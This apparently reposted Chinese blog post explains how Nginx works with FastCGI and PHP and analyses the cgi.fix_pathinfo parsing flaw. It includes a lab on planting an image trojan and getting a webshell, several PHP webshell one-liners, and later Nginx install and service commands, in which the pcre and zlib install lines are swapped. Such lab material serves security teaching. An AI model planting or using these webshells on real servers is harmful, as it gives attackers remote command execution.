运维知识点-Nginx

在这里插入图片描述

Nginx

  • Nginx解析安全实战
        • 预备知识
        • 实验目的
          • #制作图片木马#
  • web服务器-Nginx服务命令及配置
  • centOS7安装
    • 安装所需插件
        • 安装gcc
        • pcre、pcre-devel安装
        • zlib安装
        • 安装openssl

Nginx解析安全实战

预备知识

Nginx+PHP/FastCGI构建的WEB服务器工作原理

  1. Nginx|FastCGI简介

Nginx (“engine x”) 是一个高性能的 HTTP和反向代理服务器，
Nginx作为WEB服务器可以处理静态文件，
索引文件以及自动索引，
能够使用缓存加速反向代理，
并提供简单的负载均衡及容错、模块化的架构等功能。

  Nginx由内核和模块组成，其中，内核的设计非常微小和简洁，完成的工作也非常简单，
  仅仅通过查找配置文件将客户端请求映射到一个location block
  （location是Nginx配置中的一个指令，用于URL匹配），
  而在这个location中所配置的每个指令将会启动不同的模块去完成相应的工作。

  Nginx的模块从结构上分为核心模块、基础模块和第三方模块：

  1)核心模块：HTTP模块、EVENT模块和MAIL模块；

  2)基础模块：HTTP Access模块、HTTP FastCGI模块、HTTP Proxy模块和HTTP Rewrite模块；

  3)第三方模块：HTTP Upstream Request Hash模块、Notice模块和HTTP Access Key模块。

  用户根据自己的需要开发的模块都属于第三方模块。
  正是有了这么多模块的支撑，Nginx的功能才会如此强大。
  Nginx的模块从功能上分为如下三类。

  1)Handlers（处理器模块）：
  此类模块直接处理请求，并进行输出内容和修改headers信息等操作。
  Handlers处理器模块一般只能有一个。

  2)Filters （过滤器模块）：
  此类模块主要对其他处理器模块输出的内容进行修改操作，最后由Nginx输出。

  3)Proxies （代理类模块）：
  此类模块是Nginx的HTTP Upstream之类的模块，
  这些模块主要与后端一些服务比如FastCGI等进行交互，实现服务代理和负载均衡等功能。

  Nginx模块常规的HTTP请求和响应的过程：

在这里插入图片描述*********************************************************************

  FastCGI(CGI: Common Gateway Interface, “公共网关接口”)
  是一个可伸缩地、高速地在HTTP server和动态脚本语言间通信的接口。
  多数流行的HTTP server都支持FastCGI，包括Apache、Nginx和lighttpd等，
  同时，FastCGI也被许多脚本语言所支持，其中就有PHP。

  FastCGI接口方式采用C/S结构，可以将HTTP服务器和脚本解析服务器分开，
  同时在脚本解析服务器上启动一个或者多个脚本解析守护进程。
  当HTTP服务器每次遇到动态程序时，可以将其直接交付给FastCGI进程来执行，
  然后将得到的结果返回给浏览器。
  这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端，
  这在很大程度上提高了整个应用系统的性能。

  但Nginx本身并不支持对PHP进行解析，因此Nginx在作为PHP应用的WEB服务器时，
  实际上是通过反向代理功能将对PHP页面的请求快速地转交给
  诸如FastCGI这样的通讯接口转发给PHP进行解析。

  1. Nginx+PHP/FastCGI运行原理

    Nginx不支持对外部程序的直接调用或者解析，
    所有的外部程序（包括PHP）必须通过FastCGI接口来调用。
    FastCGI接口在Linux下是socket
    （这个socket可以是文件socket，也可以是ip socket）。

    wrapper：为了调用CGI程序，还需要一个FastCGI的wrapper
    （wrapper可以理解为用于启动另一个程序的程序），
    这个wrapper绑定在某个固定socket上，如端口或者文件socket。
    当Nginx将CGI请求发送给这个socket的时候，通过FastCGI接口，wrapper接收到请求，
    然后Fork(派生）出一个新的线程，
    这个线程调用解释器或者外部程序处理脚本并读取返回数据；
    接着，wrapper再将返回的数据通过FastCGI接口，沿着固定的socket传递给Nginx；
    最后，Nginx将返回的数据（html页面或者图片）发送给客户端。
    这就是Nginx+FastCGI的整个运作过程，如下图所示。在这里插入图片描述

所以，我们首先需要一个wrapper，需要完成的工作：

  (1).通过调用fastcgi（库）的函数通过socket和ningx通信
  （读写socket是fastcgi内部实现的功能，对wrapper是非透明的）;

  (2).调度thread，进行fork和kill;

  (3).和application（php）进行通信。

  这个wrapper就是FastCGI进程管理器，也可以称为FastCGI引擎，
  FastCGI进程管理器在脚本解析服务器上启动一个
  或者多个守护进程对动态脚本进行解析，
  而HTTPServer可以完全解放出来，更好地进行响应和并发处理。
  PHP-FPM就是支持PHP的一种FastCGI进程管理器。

  其整体工作流程：

  (1).FastCGI进程管理器php-fpm自身初始化，
  启动主进程php-fpm和启动start_servers个CGI 子进程。
  主进程php-fpm主要是管理fastcgi子进程，监听服务端口。
  fastcgi子进程等待来自Web Server的连接。

  (2).当客户端请求到达Web Server Nginx是时，Nginx通过location指令，
  将所有以php为后缀的文件都交给127.0.0.1:xxxx来处理，
  即Nginx通过location指令，将所有以php为后缀的文件都交给127.0.0.1:xxxx来处理。

  (3).FastCGI进程管理器PHP-FPM选择并连接到一个子进程CGI解释器。
  Web server将CGI环境变量和标准输入发送到FastCGI子进程。

  (4).FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。
  当FastCGI子进程关闭连接时，请求便告处理完成。

  (5).FastCGI子进程接着等待并处理来自FastCGI进程管理器（运行在 WebServer中）的下一个连接。

PHP CGI 中 fix_pathinfo 引起的解析漏洞分析
这个安全问题最早被人所了解是通过国内安全组织80sec的一篇文章
《nginx文件类型错误解析漏洞》
文章指出当Nginx配置FastCGI使用PHP时，
会将诸如http://www.test.com/test.jpg/anything.php 这样的请求,
把test.jpg当作PHP文件来进行解析，而anything.php这个文件并不存在。
实际上这并不是一个Nginx的漏洞，而是
PHP5默认配置的缺陷造成的。
在这里插入图片描述问题的本质是什么呢？

  比如, 下面的Nginx conf(Nginx配置文件)：

location ~ .php($|/) {

     fastcgi_pass   127.0.0.1:9000;

     fastcgi_index  index.php;

 

     set $script    $uri;

     set $path_info "";

     if ($uri ~ "^(.+\.php)(/.*)") {

          set  $script     $1;

          set  $path_info  $2;

     }

 

     include       fastcgi_params;

     fastcgi_param SCRIPT_FILENAME   $document_root$script;

     fastcgi_param SCRIPT_NAME       $script;

     fastcgi_param PATH_INFO         $path_info;

}

  当我们发出http://www.test.com/test.jpg/anything.php这样的请求时，
  通过“^(.+\.php)(/.*)”这段正则匹配后，
  SCRIPT_NAME会被设置为“test.jpg/anything.php”，
  继而构造成SCRIPT_FILENAME传递给整个PHP CGI，
  但是PHP又为什么会接受这样的参数，并且把test.jpg解析了呢？
  问题就在于PHP的CGI SAPI中的参数cgi.fix_pathinfo这个参数了。

  关于cgi.fix_pathinfo这个参数的描述：

; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI.  PHP's

; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok

; what PATH_INFO is.  For more information on PATH_INFO, see the cgi specs.  Setting

; this to 1 will cause PHP CGI to fix it's paths to conform to the spec.  A setting

; of zero causes PHP to behave as before.  Default is 1.  You should fix your scripts

; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.

cgi.fix_pathinfo=1

  上述描述了默认情况cgi.fix_pathinfo的值为1，
  那么如果开启了这个选项，就会触发在PHP中的如下逻辑：

/*

 * if the file doesn't exist, try to extract PATH_INFO out

 * of it by stat'ing back through the '/'

 * this fixes url's like /info.php/test

 */

if (script_path_translated &&

     (script_path_translated_len = strlen(script_path_translated)) > 0 &&

     (script_path_translated[script_path_translated_len-1] == '/' ||

....//以下省略.

  PHP CGI 以 / 为分隔符号从后向前依次检查路径，
  当检测到test.jpg/anything.php时，
  PHP会认为
  SCRIPT_FILENAME是test.jpg, 
  而anything.php是PATH_INFO,
   然后PHP就把test.jpg当作一个PHP文件来解释执行。

  在很多使用 php-fpm （<0.6） 的主机中也会出现这个问题，
  但新的 php-fpm 的已经关闭了 cgi.fix_pathinfo。
实验目的

了解Nginx的工作原理，理解Nginx畸形解析漏洞的形成原因；

掌握Nginx几种常见的漏洞测试及利用方法；

掌握Nginx基本的安全加固策略

—在这里插入图片描述在这里插入图片描述
在这里插入图片描述

  1. 根据前面的漏洞分析，结合图片木马技术对测试站点进行实战测试，并成功获取目标站点的webshell；
  2. 构造一个可以正常显示的图片木马，给出你操作的截图，说一说你还有什么其他的思路；
  3. 针对这个漏洞站点，给出你的加固策略
#制作图片木马#
  提示：请使用windows的画图自己画一张图片，另存为jpg

（/b二进制binary模式，/a ascii模式）

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 访问这个地址并在.jpg后加上/anything.php进行测试
    在这里插入图片描述
  • 解析报语法错误说明将图片当作应用程序执行。
  • 菜刀连接这个地址，得到权限
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
<?php eval($_POST[s])?>

      <?php @eval($_POST[c])?>

      <?php system($_REQUEST['cmd']);?>

      <?php assert($_POST[c]);?>

      <?fputs(fopen(c.php,w),<?eval($_POST[c]);?>)?>

思路扩展：

  Exif、伪装图片头等

web服务器-Nginx服务命令及配置

centOS7安装

高性能的HTTP和反向代理

转发配置

Server{ listen server_name root location /{ } location~ }

安装所需插件

安装gcc
gcc是linux下的编译器
可以编译 C,C++,Ada,Object C和Java等语言

命令：查看gcc版本

 gcc -v

在这里插入图片描述

  • 一般阿里云的centOS7里面是都有

安装命令:

yum -y install gcc
pcre、pcre-devel安装
pcre是一个perl库，包括perl兼容的正则表达式库，
nginx的http模块使用pcre来解析正则表达式，所以需要安装pcre库。

安装命令：

yum install -y zlib zlib-devel
zlib安装
zlib库提供了很多种压缩和解压缩方式
nginx使用zlib对http包的内容进行gzip，所以需要安装

安装命令：

yum install -y pcre pcre-devel
安装openssl

openssl是web安全通信的基石，没有openssl，可以说我们的信息都是在裸奔。。。。。。

安装命令：

yum install -y openssl openssl-devel

1.停止Nginx服务的四种方法

从容停止服务
这种方法较stop相比就比较温和一些了，需要进程完成当前工作后再停止。

nginx -s quit

立即停止服务
这种方法比较强硬，无论进程是否在工作，都直接停止进程。

nginx -s stop

systemctl 停止
systemctl属于Linux命令

systemctl stop nginx.service

killall 方法杀死进程
直接杀死进程，在上面无效的情况下使用，态度强硬，简单粗暴！

killall nginx

2.启动Nginx

nginx直接启动

nginx

systemctl命令启动

systemctl start nginx.service

3.查看启动后记录

ps aux | grep nginx

4.重启Nginx服务

systemctl restart nginx.service

5.重新载入配置文件
当有系统配置文件有修改，用此命令，建议不要停止再重启，以防报错！

nginx -s reload

6.查看端口号

netstat -tlnp

通过配置nginx的配置文件/usr/local/nginx/conf/nginx.conf实现开关效果

1.启用缓存

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$ {
  #设置缓存上面定义的后缀文件缓存到浏览器的生存时间
  expires   3d;
}

2.禁用缓存

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$ {
 #禁止缓存，每次都从服务器请求
  add_header Cache-Control no-store;
}

ps -ef | grep nginx

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/208184.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

7.ROS的TF坐标变换（一）：TF简介及静态坐标变换代码讲解

7.ROS的TF坐标变换（一）：TF简介及静态坐标变换代码讲解

目录 1 什么是ROS的TF坐标变换TransForm Frame 2 坐标变换的msg信息geometry_msgs/TransformStamped与geometry_msgs/PointStamped 3 静态坐标变换 3.1 C clion实现静态坐标变换 3.1.1 CMakeLists.txt配置 3.1.2 package.xml配置 3.1.3 发布节点建立 3.1.4 接收节点建立…
阅读更多...
R语言实验三

R语言实验三

1、读取一个文件并进行如下操作。 ①使用命令清空工作空间&#xff0c;使用read.table读取exam_1.txt文件&#xff0c;将文件保存到data变量中&#xff0c;数据第一行设置为列名&#xff0c;第一列是行名。 ②判断对象data是否为矩阵。 ③将对象转换为矩阵&#xff0c;记为d…
阅读更多...
L1-006：连续因子

L1-006：连续因子

题目描述 一个正整数 N 的因子中可能存在若干连续的数字。例如 630 可以分解为 3567&#xff0c;其中 5、6、7 就是 3 个连续的数字。给定任一正整数 N&#xff0c;要求编写程序求出最长连续因子的个数&#xff0c;并输出最小的连续因子序列。 输入格式&#xff1a; 输入在一行…
阅读更多...
nodejs_vue+vscode美容理发店会员管理系统un1dm

nodejs_vue+vscode美容理发店会员管理系统un1dm

按照设计开发一个系统的常用流程来描述系统&#xff0c;可以把系统分成分析阶段&#xff0c;设计阶段&#xff0c;实现阶段&#xff0c;测试阶段。所以在编写系统的说明文档时&#xff0c;根据系统所处的阶段来描述系统的内容。 绪论&#xff1a;这是对选题的背景&#xff0c;意…
阅读更多...
【涂鸦T2-U】2、添加光感bh1750

【涂鸦T2-U】2、添加光感bh1750

文章目录 前言一、基础介绍二、电路图2.1 电路图12.2 电路图2——实际采用 三、代码四、编译五、刷机六、测试结果小结 前言 本章介绍如何在涂鸦T2-U开发板上添加光感bh1750驱动并实现定时读取数据。 一、基础介绍 BH1750( GY-302 )光照传感器 这篇文章有bh1750的基础介绍。…
阅读更多...
面试问的最多的时候

面试问的最多的时候

1&#xff1a;kafuka消息队列不丢数据 2&#xff1a;MVC的流转 3&#xff1a;线程池 4&#xff1a;liunx 5&#xff1a;k8s 6&#xff1a;负载过高 7&#xff1a;索引 8&#xff1a;事务 9&#xff1a;监听 10&#xff1a;动态路由 11&#xff1a;业务模块 12&#x…
阅读更多...
最短路算法

最短路算法

文章目录 最短路总览朴素Dijkstra - 稠密图 - O ( n 2 ) O(n^2) O(n2)具体思路时间复杂度分析使用场景AcWing 849. Dijkstra求最短路 ICODE 堆优化 D i j k s t r a Dijkstra Dijkstra 算法 - 稀疏图 - O ( m l o g n ) O(mlogn) O(mlogn)具体思路和时间复杂度分析使用场景A…
阅读更多...
【HuggingFace Transformer库学习笔记】基础组件学习：Tokenizer

【HuggingFace Transformer库学习笔记】基础组件学习：Tokenizer

基础组件——Tokenizer &#xff08;1&#xff09;模型加载 from transformers import AutoTokenizersen "弱小的我也有大梦想!" # 从HuggingFace加载&#xff0c;输入模型名称&#xff0c;即可加载对于的分词器 tokenizer AutoTokenizer.from_pretrained("m…
阅读更多...
存储虚拟化的写入过程

存储虚拟化的写入过程

存储虚拟化的场景下&#xff0c;整个写入的过程。 在虚拟机里面&#xff0c;应用层调用 write 系统调用写入文件。write 系统调用进入虚拟机里面的内核&#xff0c;经过 VFS&#xff0c;通用块设备层&#xff0c;I/O 调度层&#xff0c;到达块设备驱动。虚拟机里面的块设备驱动…
阅读更多...
助力android面试2024【面试题合集】

助力android面试2024【面试题合集】

转眼间&#xff0c;2023年快过完了。今年作为口罩开放的第一年大家的日子都过的十分艰难&#xff0c;那么想必找工作也不好找&#xff0c;在我们android开发这一行业非常的卷&#xff0c;在各行各业中尤为突出。android虽然不好过&#xff0c;但不能不吃饭吧。卷归卷但是还得干…
阅读更多...
网站实现验证码功能

网站实现验证码功能

一、验证码 一般来说&#xff0c;网站在登录的时候会生成一个验证码来验证是否是人类还是爬虫&#xff0c;还有一个好处是防止恶意人士对密码进行爆破。 二、流程图 三、详细说明 3.1 后端生成验证码 Override public Result<Map<String, String>> getVerifica…
阅读更多...
用element-ui进行简单的商品管理

用element-ui进行简单的商品管理

安装element-ui 项目的控制台输入npm i element-ui -S main.js import ElementUI from element-ui;//引入element-ui模块 import element-ui/lib/theme-chalk/index.css;//引入element-ui的css样式 Vue.use(ElementUI);//使用ElementUI 商品管理组件 <template><…
阅读更多...
STM32CubeMx+MATLAB Simulink点灯程序

STM32CubeMx+MATLAB Simulink点灯程序

STM32CubeMxMATLAB点灯程序 ✨要想实现在MATLAB Simulink环境下使用STM32&#xff0c;前提是已经搭建好MATLAB环境并且安装了必要的Simulink插件&#xff0c;以及对应的STM32支持包。 &#x1f33f;需要准备一块所安装支持包支持的STM32开发板. &#x1f516;具体支持包详情页…
阅读更多...
Java基础第十八天 - 网络编程

Java基础第十八天 - 网络编程

计算机网络 什么是计算机网络 把分布在不同地理区域的计算机与专门的外部设备用通信线路互连成一个规模大、功能强的网络系统&#xff0c;从而使众多的计算机可以方便地互相传递信息&#xff0c;共享硬件、软件、数据信息等资源。 计算机网络主要功能 1.实现资源共享 2.信息…
阅读更多...
【VMware相关】VMware vSphere存储方案

【VMware相关】VMware vSphere存储方案

一、iSCSI存储 参考文档 VMware官方文档&#xff1a;配置iSCSI适配器和存储 华为配置指南&#xff1a;VMware ESXi下的主机连通性指南 1、配置说明 如下图所示&#xff0c;VMware配置iSCSI存储&#xff0c;需要将物理网卡绑定到VMKernel适配器上&#xff0c;之后再将VMKernel适…
阅读更多...
微信开发者工具真机调试连接状态在正常和未连接之间反复横跳

微信开发者工具真机调试连接状态在正常和未连接之间反复横跳

开启局域网模式能解决这个问题&#xff0c;目前只找到这一个方法
阅读更多...
测试新人如何去开展软件测试工作

测试新人如何去开展软件测试工作

1. 软件测试 在一般的项目中&#xff0c;一开始均为手动测试&#xff0c;由于自动化测试前期投入较大&#xff0c;一般要软件项目达到一定的规模&#xff0c;更新频次和质量均有一定要求时才会上自动化测试或软件测试。 1.1. 项目中每个成员的测试职责 软件测试从来不是某一个职…
阅读更多...
微信小程序自定义顶部导航栏的胶囊和微信自带的胶囊一样的透明背景色

微信小程序自定义顶部导航栏的胶囊和微信自带的胶囊一样的透明背景色

想要实现微信自带的右上角胶囊背景透明很简单&#xff0c;只需要在pages.js里面设置下面配置就可以了&#xff1a; "navigationStyle": "custom","navigationBarTextStyle": "white" 但是设置完这个后&#xff0c;胶囊的背景色是那种…
阅读更多...
业余爱好-社会工程管理记账报税

业余爱好-社会工程管理记账报税

税务问题笔记 印花税税费申报及缴纳财务和行为税合并纳税申报增值税及附加税费申报企业所得税季度A类申报残疾人就业保障金申报财务报表个税申报 印花税 印花税是对在经济活动和经济交往中书立、领受具有法律效力的凭证的行为征收的一种税。 税费申报及缴纳 财务和行为税合并…
阅读更多...
JMeter怎样测试WebSocket

JMeter怎样测试WebSocket

一、安装WebSocket取样器 1、从JMeter插件管理器官网下载&#xff1a; https://jmeter-plugins.org/ 搜索websocket 1、jetty-http-9.1.2.v20140210.jar 2、jetty-io-9.1.2.v20140210.jar 3、jetty-util-9.1.2.v20140210.jar 4、websocket-api-9.1.1.v20140108.jar 5、w…
阅读更多...
最新文章

Copyright @ 2022~2023